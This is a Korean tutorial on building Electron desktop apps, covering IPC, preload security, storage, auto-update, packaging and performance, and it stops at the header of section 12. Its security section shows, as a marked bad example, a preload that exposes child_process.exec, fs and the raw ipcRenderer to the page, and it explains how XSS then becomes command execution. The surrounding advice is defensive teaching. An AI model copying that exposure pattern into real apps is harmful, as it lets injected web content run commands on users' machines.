Electron 버전 = Chromium + V8 + Node 의 묶음입니다. Electron 42 는 Chromium 148 · V8 14.8 · Node 24.15 를 담고 있습니다. 그래서 “이 웹 API 를 쓸 수 있나”는 Chromium 버전이, “이 node: 모듈이 있나”는 내장 Node 버전이 결정합니다 — 내 PC 에 설치된 Node 버전과는 무관합니다. Electron 은 Chromium 을 따라 8주마다 메이저가 올라가므로, 보안 패치를 받으려면 정기적으로 올리는 것을 전제로 개발하세요.
Electron 은 가볍지 않습니다. 빈 앱도 설치 파일이 80~150MB, 메모리 100MB+ 입니다 (Chromium 을 통째로 포함하기 때문). 가벼움이 중요하면 Tauri(Rust) 를 검토하세요 — 대신 웹뷰가 OS 마다 달라 호환성 이슈가 생깁니다.
일렉트론의 두 세계 — 권한을 가진 쪽과 화면을 그리는 쪽 렌더러 창 A 렌더러 창 B 렌더러 창 C preload preload preload 메인 프로세스 Node 전체 · 단 하나 여기가 멈추면 앱 전체가 멈춥니다 파일 메뉴 트레이 자동 업데이트 렌더러 — 화면만 · Node 없음 창 하나가 죽어도 나머지는 삽니다 OS 자원 — 메인만 만집니다 nodeIntegration: true 로 열지 마세요 — 웹 취약점 하나가 곧 파일 시스템 접근이 됩니다 권한이 필요한 일은 전부 메인에 두고, 렌더러는 "해 달라고 부탁"만 합니다 — 그 통로가 IPC 파일 압축 · 이미지 변환 같은 무거운 작업은 별도 프로세스나 워커로 보내세요 개발자 도구는 렌더러만 보여 줍니다 — 메인 디버깅은 --inspect 로 따로 붙습니다
일렉트론 구조의 한 문장 요약 — 권한은 메인에, 화면은 렌더러에.
ELECTRON 02

첫 창 띄우기

최소 코드와 운영에 필요한 설정을 함께 봅니다.

메인 프로세스

import { app, BrowserWindow, shell } from "electron";
import path from "node:path";

let mainWindow: BrowserWindow | null = null;

function createWindow() {
  mainWindow = new BrowserWindow({
    width: 1200, height: 800,
    minWidth: 940, minHeight: 600,
    show: false,                              // ★ 준비될 때까지 숨김
    titleBarStyle: process.platform === "darwin" ? "hiddenInset" : "default",
    webPreferences: {
      preload: path.join(__dirname, "../preload/index.js"),
      contextIsolation: true,                 // ★ 반드시 true (e04)
      nodeIntegration: false,                 // ★ 반드시 false
      sandbox: true,
    },
  });

  // ★ 흰 화면 깜빡임 방지
  mainWindow.once("ready-to-show", () => mainWindow?.show());

  // 외부 링크는 기본 브라우저로 (앱 안에서 열면 보안 위험)
  mainWindow.webContents.setWindowOpenHandler(({ url }) => {
    shell.openExternal(url);
    return { action: "deny" };
  });

  if (process.env.NODE_ENV === "development") {
    mainWindow.loadURL("http://localhost:5173");
    mainWindow.webContents.openDevTools();
  } else {
    mainWindow.loadFile(path.join(__dirname, "../renderer/index.html"));
  }
}

앱 생명주기 — OS 마다 다릅니다

app.whenReady().then(() => {
  createWindow();

  // ★ macOS — 독 아이콘 클릭 시 창이 없으면 다시 만듭니다
  app.on("activate", () => {
    if (BrowserWindow.getAllWindows().length === 0) createWindow();
  });
});

// ★ macOS 는 창을 닫아도 앱이 살아 있는 것이 관례입니다
app.on("window-all-closed", () => {
  if (process.platform !== "darwin") app.quit();
});

// 단일 인스턴스 — 두 번 실행되지 않게 (거의 항상 필요합니다)
if (!app.requestSingleInstanceLock()) {
  app.quit();
} else {
  app.on("second-instance", () => {
    if (mainWindow) {
      if (mainWindow.isMinimized()) mainWindow.restore();
      mainWindow.focus();
    }
  });
}

// 종료 전 정리
app.on("before-quit", async (e) => {
  if (hasUnsavedWork) {
    e.preventDefault();
    const ok = await confirmQuit();
    if (ok) { hasUnsavedWork = false; app.quit(); }
  }
});
창 크기·위치를 기억하게 하세요. 데스크탑 앱에서 사용자가 가장 먼저 불편해하는 부분입니다. electron-window-state 라이브러리 한 줄이면 해결됩니다.
ELECTRON 03

IPC 통신

화면과 메인이 대화하는 유일한 통로입니다.

요청-응답 (가장 많이 씁니다)

// ① 메인 — 핸들러 등록
import { ipcMain, dialog } from "electron";

ipcMain.handle("file:read", async (event, filePath: string) => {
  // ★ 반드시 검증하세요 (e04)
  const safe = path.resolve(DATA_DIR, filePath);
  if (!safe.startsWith(path.resolve(DATA_DIR) + path.sep)) {
    throw new Error("잘못된 경로입니다");
  }
  return fs.readFile(safe, "utf8");
});

ipcMain.handle("dialog:openFile", async () => {
  const { canceled, filePaths } = await dialog.showOpenDialog({
    properties: ["openFile"],
    filters: [{ name: "엑셀", extensions: ["xlsx", "csv"] }],
  });
  return canceled ? null : filePaths[0];
});
// ② 프리로드 — 화면에 노출할 API 만 정의
import { contextBridge, ipcRenderer } from "electron";

const api = {
  readFile: (p: string) => ipcRenderer.invoke("file:read", p),
  openFile: () => ipcRenderer.invoke("dialog:openFile"),
};
contextBridge.exposeInMainWorld("api", api);
export type Api = typeof api;                 // ★ 타입을 렌더러에서 재사용

// ③ 렌더러 — 그냥 함수처럼 씁니다
const path = await window.api.openFile();
if (path) {
  const text = await window.api.readFile(path);
}

메인 → 렌더러 (진행률·알림)

// 메인에서 보내기
mainWindow.webContents.send("job:progress", { done: 30, total: 100 });

// 프리로드 — 구독 API 를 만들어 줍니다
const api = {
  onProgress: (cb: (p: Progress) => void) => {
    const listener = (_e: unknown, p: Progress) => cb(p);
    ipcRenderer.on("job:progress", listener);
    return () => ipcRenderer.off("job:progress", listener);   // ★ 해제 함수 반환
  },
};

// 렌더러 (React)
useEffect(() => {
  const off = window.api.onProgress(setProgress);
  return off;                                  // ★ 언마운트 시 해제 (누수 방지)
}, []);

타입 안전하게 쓰기

// renderer/global.d.ts
import type { Api } from "../preload";

declare global {
  interface Window { api: Api; }               // ★ 자동완성이 됩니다
}
export {};
IPC 로 큰 데이터를 자주 주고받지 마세요. 구조화 복제(structured clone)로 직렬화 비용이 듭니다. 100MB 파일 내용을 통째로 넘기는 대신 메인에서 처리하고 결과만 보내거나, 파일 경로만 주고받으세요.
고빈도·대용량이 불가피하다면 MessagePort·공유 메모리로 내려갑니다 (⚙️ 네이티브 v03).
IPC — 렌더러는 직접 못 하고 창구를 거쳐 부탁만 합니다 렌더러 (화면) preload · contextBridge 메인 (파일 · OS) 1. window.api.saveFile(data) 2. ipcRenderer.invoke('save') 3. handle 파일 저장 4. Promise 로 결과 반환 5. await 가 값을 받음 6. send — 답 없는 알림 ipcMain.on 이 받음 7. webContents.send — 메인이 먼저 채널 이름을 그대로 받아 넘기는 창구는 열지 마세요 — 창구를 연 의미가 사라집니다 노출은 기능 단위로 — saveFile · openFolder 처럼 이름과 인자를 미리 정해 둡니다 세로가 시간 — 실선은 답을 기다리는 요청, 점선은 응답 · 알림입니다
IPC 설계의 기준은 편의가 아니라 렌더러가 할 수 있는 일의 목록을 내가 정하는 것입니다.
ELECTRON 04

preload · 보안

이 절을 대충 넘기면 사용자 PC 를 공격자에게 내주게 됩니다.

왜 위험한가

nodeIntegration: true 로 두면
  화면(웹 페이지)에서 require("child_process") 가 됩니다.
  → 표시하는 콘텐츠에 XSS 가 하나라도 있으면
  → 공격자가 사용자 PC 에서 "무슨 명령이든" 실행합니다

위험이 들어오는 경로
  · 외부 웹사이트를 iframe·webview 로 표시
  · 서버에서 받은 HTML 을 innerHTML 로 넣기
  · 사용자가 입력한 마크다운 렌더링
  · 취약한 npm 패키지 (🧬 전문가 d13)
// ★ 안전한 기본 설정 — 이대로 두세요
webPreferences: {
  contextIsolation: true,       // 프리로드와 페이지의 컨텍스트 분리
  nodeIntegration: false,       // 페이지에서 Node 사용 불가
  sandbox: true,                // 렌더러를 샌드박스에
  webSecurity: true,            // ★ 개발 편의로도 끄지 마세요
  allowRunningInsecureContent: false,
  preload: path.join(__dirname, "preload.js"),
}
인터넷에서 “해결책”으로 nodeIntegration: true 를 권하는 글이 많습니다. 대부분 오래된 튜토리얼입니다. 지금은 contextBridge 로 필요한 기능만 노출하는 것이 유일한 정답입니다.

안전한 API 노출

❌ 통째로 노출
contextBridge
 .exposeInMainWorld("api", {
   fs: require("fs"),
   exec: require("child_process")
          .exec,
   ipc: ipcRenderer,   // 무엇이든
 });                   // 호출 가능
✅ 기능 단위로
contextBridge
 .exposeInMainWorld("api", {
   readConfig: () =>
     ipcRenderer.invoke("config:read"),
   saveReport: (data) =>
     ipcRenderer.invoke("report:save",
                        data),
 });   // 정해진 동작만
// 메인 쪽에서도 반드시 검증합니다 (프리로드는 우회될 수 있습니다)
ipcMain.handle("report:save", async (event, data: unknown) => {
  // ① 발신자 확인
  if (event.senderFrame?.url !== expectedUrl) throw new Error("거부");

  // ② 입력 검증 (Zod)
  const parsed = ReportSchema.parse(data);

  // ③ 경로·권한 검증
  const docs = path.resolve(app.getPath("documents"));
  const target = path.resolve(docs, parsed.filename);
  //  ★ + path.sep 까지 붙여 비교 — 없으면 "Documents-evil\x" 같은 형제 폴더가 통과합니다
  if (!target.startsWith(docs + path.sep)) throw new Error("거부");

  await fs.writeFile(target, JSON.stringify(parsed));
});

보안 체크리스트

  • ☐ contextIsolation: true · nodeIntegration: false
  • ☐ CSP 헤더 설정 (인라인 스크립트 차단)
  • ☐ 외부 링크는 shell.openExternal 로만
  • ☐ will-navigate 로 예상 밖 이동 차단
  • ☐ 원격 콘텐츠를 로드한다면 반드시 HTTPS
  • ☐ DB 접속 정보·API 키를 앱에 넣지 않기 — 디컴파일하면 다 보입니다
  • ☐ npm audit · Electron 최신 버전 유지 (Chromium 취약점 패치)
Electron 버전을 오래 방치하지 마세요. Chromium 취약점이 그대로 남아 있게 됩니다. 보안 패치를 받으려면 최신 3개 메이저 버전 안에 머물러야 합니다.
여기에 더해 배포된 앱이 공격 도구로 악용되는 것을 막는 Fuses·asar 무결성은 ⚙️ 네이티브 v15 에서 다룹니다.
렌더러에 Node 를 열어 주지 않는 것이 핵심입니다 렌더러 (웹 화면) HTML · CSS · 우리 JS 외부 스크립트·광고가 섞일 수 있는 곳 nodeIntegration: false preload contextBridge 로 정해진 함수만 노출 window.api.saveFile(...) 메인 프로세스 파일 · OS · 창 관리 여기서만 Node 를 씁니다 요청을 검사한 뒤 수행 반드시 켜 둘 세 가지 contextIsolation: true · nodeIntegration: false sandbox: true — 렌더러를 더 좁은 권한으로 최신 Electron 기본값이 이미 이렇습니다 노출은 좁게 — 통로를 열지 마세요 나쁜 예 — api.readFile(경로) 를 그대로 노출 좋은 예 — api.loadSettings() 처럼 목적이 정해진 함수 메인에서 경로·인자를 반드시 검사합니다 렌더러에서 원격 콘텐츠를 띄운다면 — 그 페이지의 스크립트가 우리 api 를 그대로 쓸 수 있습니다. 외부 페이지는 별도 창·별도 preload 로 분리하세요
"XSS 하나가 파일 삭제로 이어지는 것"을 막는 구조입니다.
바깥에서 안으로 — 한 겹 들어갈 때마다 할 수 있는 일이 늘어납니다 원격 콘텐츠 렌더러 preload 메인 Node 외부 페이지 · 광고 · 주입된 스크립트 → 별도 창 · 별도 preload 로 격리 nodeIntegration: false · sandbox: true Node 없음 — 부탁만 할 수 있음 contextIsolation: true · contextBridge loadSettings() 처럼 목적이 정해진 함수만 여기서만 Node · 파일 · OS 요청 경로 · 인자를 반드시 검사 나쁜 예 — api.readFile(경로) 를 그대로 노출하면 바깥 고리가 곧장 중심에 닿습니다 최신 Electron 은 이 세 설정이 이미 기본값입니다 — 끄지만 마세요
"XSS 하나가 파일 삭제로 이어지는 것"을 막는 구조입니다.
ELECTRON 05

메뉴 · 트레이 · 단축키

데스크탑 앱다운 느낌을 만드는 요소들입니다.

애플리케이션 메뉴

import { Menu, shell, app } from "electron";

const isMac = process.platform === "darwin";

const template: Electron.MenuItemConstructorOptions[] = [
  ...(isMac ? [{ role: "appMenu" as const }] : []),
  {
    label: "파일",
    submenu: [
      { label: "새로 만들기", accelerator: "CmdOrCtrl+N",
        click: () => mainWindow?.webContents.send("menu:new") },
      { label: "열기…", accelerator: "CmdOrCtrl+O", click: openFile },
      { type: "separator" },
      isMac ? { role: "close" } : { role: "quit" },
    ],
  },
  { role: "editMenu" },              // 복사·붙여넣기 (★ 이거 없으면 Cmd+C 가 안 됩니다)
  { role: "viewMenu" },
  {
    label: "도움말",
    submenu: [{ label: "문서 보기",
                click: () => shell.openExternal("https://docs.example.com") }],
  },
];

Menu.setApplicationMenu(Menu.buildFromTemplate(template));
role: "editMenu" 를 빠뜨리면 macOS 에서 복사·붙여넣기 단축키가 아예 동작하지 않습니다. 메뉴를 커스터마이즈할 때 가장 흔한 실수입니다.

트레이 · 컨텍스트 메뉴 · 단축키

import { Tray, Menu, nativeImage, globalShortcut } from "electron";

// 트레이 (백그라운드 상주 앱에 필수)
const tray = new Tray(nativeImage.createFromPath(iconPath));
tray.setToolTip("내 앱");
tray.setContextMenu(Menu.buildFromTemplate([
  { label: "창 열기", click: () => mainWindow?.show() },
  { label: "동기화", click: sync },
  { type: "separator" },
  { label: "종료", click: () => app.quit() },
]));
tray.on("click", () => mainWindow?.isVisible()
  ? mainWindow.hide() : mainWindow?.show());

// 전역 단축키 — 앱이 배경에 있어도 동작합니다
app.whenReady().then(() => {
  const ok = globalShortcut.register("CmdOrCtrl+Shift+K", () => {
    mainWindow?.show();
    mainWindow?.webContents.send("shortcut:quickOpen");
  });
  if (!ok) log.warn("단축키 등록 실패 — 다른 앱이 사용 중");
});

app.on("will-quit", () => globalShortcut.unregisterAll());   // ★ 정리 필수
// 창을 닫아도 트레이에 남기기 (백그라운드 앱 패턴)
let isQuitting = false;
app.on("before-quit", () => { isQuitting = true; });

mainWindow.on("close", (e) => {
  if (!isQuitting) {
    e.preventDefault();
    mainWindow?.hide();
    return false;
  }
});
전역 단축키는 다른 앱과 충돌합니다. 등록 실패를 조용히 무시하지 말고 사용자에게 알리거나 설정에서 바꿀 수 있게 만드세요. 흔한 조합(Ctrl+Shift+S 등)은 피하는 편이 좋습니다.
ELECTRON 06

파일 · 다이얼로그

사내 도구의 핵심 기능. 엑셀 읽고 결과 저장이 가장 흔한 요구사항입니다.

파일 선택 · 저장

// 열기
ipcMain.handle("dialog:open", async () => {
  const { canceled, filePaths } = await dialog.showOpenDialog(mainWindow!, {
    title: "데이터 파일 선택",
    properties: ["openFile", "multiSelections"],
    filters: [
      { name: "스프레드시트", extensions: ["xlsx", "xls", "csv"] },
      { name: "모든 파일", extensions: ["*"] },
    ],
    defaultPath: app.getPath("documents"),
  });
  return canceled ? [] : filePaths;
});

// 저장
ipcMain.handle("dialog:save", async (_e, defaultName: string) => {
  const { canceled, filePath } = await dialog.showSaveDialog(mainWindow!, {
    defaultPath: path.join(app.getPath("downloads"), defaultName),
    filters: [{ name: "엑셀", extensions: ["xlsx"] }],
  });
  return canceled ? null : filePath;
});

// 확인 대화상자
const { response } = await dialog.showMessageBox(mainWindow!, {
  type: "warning",
  buttons: ["취소", "삭제"],
  defaultId: 0, cancelId: 0,
  message: "정말 삭제하시겠습니까?",
  detail: "이 작업은 되돌릴 수 없습니다.",
});
if (response === 1) doDelete();

앱 데이터 위치 · 드래그 앤 드롭

// ★ 설치 폴더에는 쓰지 마세요 — 권한이 없을 수 있습니다
app.getPath("userData");     // 설정·DB (앱 전용, 자동 생성됨)
app.getPath("documents");    // 사용자 문서
app.getPath("downloads");
app.getPath("temp");
app.getPath("logs");

// 예: Windows → C:\Users\이름\AppData\Roaming\내앱\
//     macOS   → ~/Library/Application Support/내앱/
// 렌더러 — 드래그 앤 드롭
function DropZone() {
  return (
    <div
      onDragOver={(e) => e.preventDefault()}
      onDrop={async (e) => {
        e.preventDefault();
        // Electron 32+ 는 webUtils 로 실제 경로를 얻습니다
        const paths = [...e.dataTransfer.files]
          .map(f => window.api.getPathForFile(f));
        await window.api.processFiles(paths);
      }}
    >파일을 여기로 끌어다 놓으세요</div>
  );
}

// preload
import { webUtils } from "electron";
getPathForFile: (file: File) => webUtils.getPathForFile(file),
큰 파일은 메인 프로세스에서 처리하세요. 렌더러에서 100MB 엑셀을 파싱하면 화면이 통째로 얼어붙습니다. 메인에서 처리하고 진행률만 IPC 로 보내거나, 더 무거우면 utilityProcess·워커로 분리하세요(e11).
ELECTRON 07

데이터 저장

설정은 가볍게, 데이터가 많으면 SQLite.

설정 — electron-store

npm i electron-store
import Store from "electron-store";

type Config = {
  theme: "light" | "dark";
  serverUrl: string;
  recentFiles: string[];
};

const store = new Store<Config>({
  defaults: { theme: "light", serverUrl: "", recentFiles: [] },
  schema: {                                  // ★ 검증 스키마
    theme: { type: "string", enum: ["light", "dark"] },
    serverUrl: { type: "string", format: "uri" },
  },
  encryptionKey: "obfuscation-only",         // ⚠️ 난독화 수준일 뿐입니다
  migrations: {                              // 버전 업 시 데이터 이전
    "1.1.0": (s) => s.set("recentFiles", []),
  },
});

store.get("theme");
store.set("theme", "dark");
store.onDidChange("theme", (newV) => applyTheme(newV));
encryptionKey 는 진짜 암호화가 아닙니다. 키가 앱 안에 들어 있으므로 마음먹으면 풀 수 있습니다. 비밀번호·토큰은 OS 키체인(Electron 내장 safeStorage)에 저장하세요 (keytar 는 개발이 중단되어 권장하지 않습니다).
// OS 수준 암호화 (Electron 내장)
import { safeStorage } from "electron";

if (safeStorage.isEncryptionAvailable()) {
  const enc = safeStorage.encryptString(token);
  store.set("token", enc.toString("base64"));
  // 복호화
  const dec = safeStorage.decryptString(Buffer.from(store.get("token"), "base64"));
}

데이터가 많으면 SQLite

npm i better-sqlite3 (동기 API — Electron 에 잘 맞습니다)
import Database from "better-sqlite3";
import path from "node:path";

const db = new Database(path.join(app.getPath("userData"), "app.db"));
db.pragma("journal_mode = WAL");             // ★ 동시 읽기 성능

db.exec(`
  CREATE TABLE IF NOT EXISTS records (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    name TEXT NOT NULL,
    amount INTEGER NOT NULL,
    created_at TEXT DEFAULT CURRENT_TIMESTAMP
  );
  CREATE INDEX IF NOT EXISTS idx_created ON records(created_at);
`);

// 준비된 문장 — 반복 실행이 빠릅니다
const insert = db.prepare("INSERT INTO records (name, amount) VALUES (?, ?)");
const findAll = db.prepare("SELECT * FROM records ORDER BY id DESC LIMIT ?");

// 대량 삽입은 트랜잭션으로 (수십 배 빨라집니다)
const insertMany = db.transaction((rows: Row[]) => {
  for (const r of rows) insert.run(r.name, r.amount);
});
insertMany(rows);

라이브러리 없이 — 내장 node:sqlite

// Electron 42 는 Node 24.15 를 내장하므로 SQLite 가 런타임에 이미 있습니다.
// 의존성도, 네이티브 재빌드(electron-rebuild)도 필요 없습니다 —
// Electron 을 올릴 때마다 better-sqlite3 를 다시 빌드하던 고생이 사라집니다.
import { DatabaseSync } from "node:sqlite";
import path from "node:path";

const db = new DatabaseSync(path.join(app.getPath("userData"), "app.db"));
db.exec("PRAGMA journal_mode = WAL");
db.prepare("INSERT INTO records (name, amount) VALUES (?, ?)").run(name, amount);
db.prepare("SELECT * FROM records ORDER BY id DESC LIMIT ?").all(50);
단순 저장이면 내장으로 끝내세요. better-sqlite3 가 여전히 나은 경우는 — 사용자 정의 함수(db.function())·집계 함수·확장 로딩, 세밀한 성능 옵션, 온라인 백업 API 가 필요할 때입니다.
스키마 변경(마이그레이션)을 처음부터 준비하세요. 앱은 사용자 PC 에 설치되므로, 버전마다 DB 구조가 다른 사용자가 섞입니다. user_version pragma 로 버전을 관리하고 단계별 업그레이드 스크립트를 두는 것이 정석입니다.
ELECTRON 08

창 관리 · 다중 창

창이 늘어나면 메모리와 상태 공유를 함께 생각해야 합니다.

창 여러 개 다루기

const windows = new Map<string, BrowserWindow>();

function openDetailWindow(id: string) {
  const existing = windows.get(id);
  if (existing) { existing.focus(); return existing; }   // ★ 중복 방지

  const win = new BrowserWindow({
    width: 800, height: 600,
    parent: mainWindow!,          // 부모 지정 (항상 위에 뜸)
    modal: false,
    webPreferences: { preload, contextIsolation: true, nodeIntegration: false },
  });

  win.loadURL(`${baseUrl}#/detail/${id}`);
  win.on("closed", () => windows.delete(id));            // ★ 정리
  windows.set(id, win);
  return win;
}

// 모든 창에 브로드캐스트
function broadcast(channel: string, payload: unknown) {
  for (const w of BrowserWindow.getAllWindows()) {
    w.webContents.send(channel, payload);
  }
}
창 하나 = 크로미움 렌더러 프로세스 하나입니다. 창 10개면 메모리가 10배가 됩니다. 가벼운 보조 화면은 별도 창 대신 모달·사이드 패널로 만드는 편이 훨씬 낫습니다.

창 간 상태 공유

// ★ 상태의 원본은 "메인 프로세스"에 두세요
class AppState {
  private data: State = initialState;

  update(patch: Partial<State>) {
    this.data = { ...this.data, ...patch };
    broadcast("state:changed", this.data);     // 모든 창에 알림
  }
  get() { return this.data; }
}

ipcMain.handle("state:get", () => appState.get());
ipcMain.handle("state:update", (_e, patch) => appState.update(patch));
// 렌더러 — 훅으로 감싸면 편합니다
function useAppState() {
  const [state, setState] = useState<State | null>(null);

  useEffect(() => {
    window.api.getState().then(setState);
    return window.api.onStateChanged(setState);   // 구독 + 해제
  }, []);

  return [state, window.api.updateState] as const;
}

그 밖의 창 기능

win.setAlwaysOnTop(true, "floating");     // 항상 위
win.setFullScreen(true);
win.flashFrame(true);                      // 작업 표시줄 깜빡임 (알림)
win.setProgressBar(0.5);                   // ★ 독·작업표시줄 진행률
win.setOverlayIcon(icon, "3개 알림");       // Windows 배지

// 프레임 없는 창 (커스텀 타이틀바)
new BrowserWindow({ frame: false, titleBarStyle: "hidden",
                    titleBarOverlay: { color: "#0b0f1a", symbolColor: "#fff" } });
커스텀 타이틀바는 신중히. 예쁘지만 창 이동·최대화·스냅 동작을 직접 구현해야 하고 OS 마다 미묘하게 다릅니다. 사내 도구라면 기본 타이틀바로 시작하는 편이 효율적입니다.
ELECTRON 09

자동 업데이트

데스크탑 앱의 가장 큰 운영 과제입니다. 없으면 구버전이 영원히 남습니다.

electron-updater

npm i electron-updater
import { autoUpdater } from "electron-updater";
import log from "electron-log";

autoUpdater.logger = log;
autoUpdater.autoDownload = false;            // ★ 사용자에게 먼저 묻기

app.whenReady().then(() => {
  autoUpdater.checkForUpdates();
  setInterval(() => autoUpdater.checkForUpdates(), 4 * 60 * 60 * 1000);  // 4시간
});

autoUpdater.on("update-available", async (info) => {
  const { response } = await dialog.showMessageBox({
    type: "info",
    buttons: ["나중에", "지금 받기"],
    message: `새 버전 ${info.version} 이 있습니다`,
    detail: info.releaseNotes?.toString().slice(0, 500),
  });
  if (response === 1) autoUpdater.downloadUpdate();
});

autoUpdater.on("download-progress", (p) =>
  mainWindow?.setProgressBar(p.percent / 100));

autoUpdater.on("update-downloaded", async () => {
  const { response } = await dialog.showMessageBox({
    buttons: ["나중에", "지금 재시작"],
    message: "업데이트 준비 완료",
  });
  if (response === 1) autoUpdater.quitAndInstall();
});

autoUpdater.on("error", (e) => log.error("업데이트 실패", e));

배포 채널 설정

# electron-builder.yml
publish:
  provider: github          # 또는 s3 · generic(사내 서버)
  owner: my-org
  repo: my-app

# 사내 서버를 쓴다면
publish:
  provider: generic
  url: https://updates.company.internal/my-app/
업데이트 서버에 올라가는 파일
  latest.yml           버전 정보 · 파일 해시 (Windows)
  latest-mac.yml       macOS
  my-app-1.2.0.exe     설치 파일
  my-app-1.2.0.exe.blockmap   ★ 차등 다운로드용

blockmap 이 있으면 "바뀐 부분만" 받아 업데이트가 훨씬 빠릅니다.
코드 서명이 없으면 자동 업데이트가 동작하지 않습니다. · Windows — 서명 없으면 SmartScreen 경고 + 업데이트 검증 실패
· macOS — 서명·공증(notarization)이 필수. 없으면 실행 자체가 차단
인증서 비용(연 10~40만원)을 프로젝트 시작 전에 확보하세요.
강제 업데이트가 필요할 때 — 서버 API 에 최소 지원 버전을 두고, 앱이 그보다 낮으면 업데이트 안내 화면에서 막으세요. 보안 패치나 API 호환성이 깨지는 변경에 반드시 필요합니다.
받아 두고 · 검증하고 · 재시작할 때 바꿉니다 ① 버전 확인 latest.yml 조회 ② 백그라운드 다운 쓰는 동안 방해 없이 ③ 서명 검증 우리가 만든 파일인가 ④ 재시작 시 교체 quitAndInstall 서명 검증이 없으면 중간에서 가로챈 누군가가 가짜 업데이트를 내려보내 사용자 PC 에 원하는 프로그램을 설치할 수 있습니다 → HTTPS + 코드 서명은 선택이 아닙니다 운영에서 챙길 것 단계적 배포 — 10% 에게 먼저 주고 지켜봅니다 롤백 경로 — 문제가 생기면 이전 버전을 latest 로 강제 업데이트 — 서버 API 가 바뀌는 배포에서만 사용자가 앱을 며칠씩 안 끄는 경우가 많습니다 — "업데이트 준비됨" 표시를 조용히 띄우고 눌렀을 때만 재시작하는 흐름이 무난합니다 맥은 공증(notarization)까지 통과해야 경고 없이 실행됩니다 — 배포 파이프라인에 넣어 두세요
업데이트 경로는 가장 강력한 배포 통로이자 가장 위험한 통로입니다.
자동 업데이트 — 원이 상태, 화살표 위가 이벤트입니다 대기 idle 확인 중 latest.yml 다운로드 백그라운드 준비됨 표시만 조용히 오류 error 이벤트 checkForUpdates update-available download-progress 서명 검증 통과 새 버전 없음 서명 불일치 · 끊김 버리고 대기로 — 설치하지 않음 quitAndInstall 재시작 때 교체 서명 검증이 없으면 가로챈 가짜 업데이트가 그대로 설치됩니다 — HTTPS + 코드 서명은 필수 운영 — 10% 단계적 배포 · 문제 시 이전 버전을 latest 로 · 강제 업데이트는 API 변경 때만 맥은 공증(notarization)까지 통과해야 경고 없이 실행됩니다
업데이트 경로는 가장 강력한 배포 통로이자 가장 위험한 통로입니다.
ELECTRON 10

패키징 · 설치 파일

exe · dmg · AppImage 를 만듭니다.

electron-builder 설정

# electron-builder.yml
appId: com.company.myapp
productName: 내 업무 도구
copyright: Copyright © 2026 회사

directories:
  output: release
  buildResources: build

files:
  - "dist/**"
  - "!**/*.map"                    # 소스맵 제외 (용량·보안)
  - "!node_modules/**/{test,__tests__,*.md}"

asar: true                         # 소스를 하나로 묶음 (★ 완전한 보호는 아닙니다)
asarUnpack:
  - "**/*.node"                    # 네이티브 모듈은 풀어 둬야 동작

win:
  target: [{ target: nsis, arch: [x64] }]
  icon: build/icon.ico
nsis:
  oneClick: false                  # 설치 경로를 고를 수 있게
  allowToChangeInstallationDirectory: true
  createDesktopShortcut: true
  shortcutName: 내 업무 도구

mac:
  target: [{ target: dmg, arch: [x64, arm64] }]
  category: public.app-category.productivity
  hardenedRuntime: true            # ★ 공증에 필요
  entitlements: build/entitlements.mac.plist

linux:
  target: [AppImage, deb]

빌드 · 서명

# 빌드
npm run build && npx electron-builder --win --x64
npx electron-builder --mac --arm64 --x64
npx electron-builder -mwl                 # 전부 (각 OS 에서 실행해야 함)

# ★ 크로스 빌드는 제약이 많습니다
#   macOS 앱은 macOS 에서만 서명·공증할 수 있습니다
#   → CI(GitHub Actions)에서 OS 별 러너를 쓰는 것이 정석입니다
# .github/workflows/build.yml
jobs:
  build:
    strategy:
      matrix:
        os: [windows-latest, macos-latest, ubuntu-latest]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 24, cache: npm }
      - run: npm ci
      - run: npm run build
      - run: npx electron-builder --publish always
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          CSC_LINK: ${{ secrets.CSC_LINK }}          # 인증서
          CSC_KEY_PASSWORD: ${{ secrets.CSC_PASSWORD }}
          APPLE_ID: ${{ secrets.APPLE_ID }}          # 공증
          APPLE_APP_SPECIFIC_PASSWORD: ${{ secrets.APPLE_PW }}
asar 는 암호화가 아닙니다. npx asar extract app.asar out 한 줄이면 소스가 다 나옵니다. API 키·DB 접속 정보를 넣지 마세요. 정말 보호가 필요한 로직은 서버에 두고 API 로 호출해야 합니다.
ELECTRON 11

성능 · 메모리

“Electron 은 무겁다”는 말을 덜 듣게 만드는 방법들입니다.

시작 속도

  • show: false + ready-to-show — 흰 화면 제거(e02)
  • 렌더러 번들을 작게 — 큰 라이브러리는 지연 로딩
  • 메인에서 동기 파일 I/O 금지 — 창 뜨는 시간이 그대로 늘어납니다
  • DB·업데이트 확인은 창을 띄운 뒤에
  • v8 코드 캐시 활용 (electron-builder 의 electronLanguages 정리 포함)
// ❌ 앱 시작을 막는 코드
app.whenReady().then(async () => {
  await loadHugeConfig();        // 2초
  await checkForUpdates();       // 3초
  createWindow();                // ← 5초 뒤에야 창이 뜸
});

// ✅ 창부터 띄우고 나머지는 뒤에서
app.whenReady().then(() => {
  createWindow();
  setImmediate(async () => {
    await loadHugeConfig();
    autoUpdater.checkForUpdates();
  });
});

메모리 관리

// 프로세스별 메모리 확인
const metrics = app.getAppMetrics();
metrics.forEach(m => log.info(m.type, m.memory.workingSetSize, "KB"));

// 백그라운드 창의 렌더링 억제
win.webContents.setBackgroundThrottling(true);   // 기본값 (숨겨지면 타이머 감속)

// 안 쓰는 창은 destroy
win.destroy();                                    // close 와 달리 즉시 해제
메모리 누수의 흔한 원인 — ① ipcRenderer.on 을 등록만 하고 off 안 함(e03), ② 창을 닫아도 Map 에서 안 지움(e08), ③ setInterval 미정리, ④ 큰 이미지·데이터를 렌더러 상태에 계속 쌓음.

무거운 작업 분리

// ★ 메인 프로세스도 싱글 스레드입니다 — 여기가 막히면 UI 도 멈춥니다
import { utilityProcess } from "electron";

const child = utilityProcess.fork(path.join(__dirname, "heavy-worker.js"));
child.postMessage({ type: "parse", filePath });
child.on("message", (msg) => {
  if (msg.type === "progress") mainWindow?.webContents.send("job:progress", msg);
  if (msg.type === "done") child.kill();
});

// 또는 Node 의 worker_threads (🟩 Node 탭 n09)
측정 방법 — 렌더러는 Chrome DevTools(Performance·Memory)를 그대로 쓸 수 있고, 메인 프로세스는 --inspect 로 붙여 프로파일링합니다. 방법이 웹·Node 와 완전히 같습니다(🧬 전문가 d06).
시작 시간을 구간별로 분해해 깎는 방법과 V8 스냅샷은 ⚙️ 네이티브 v14 에서 이어집니다.
ELECTRON 12

딥링크 · 단일 인스턴스 · OS 통합

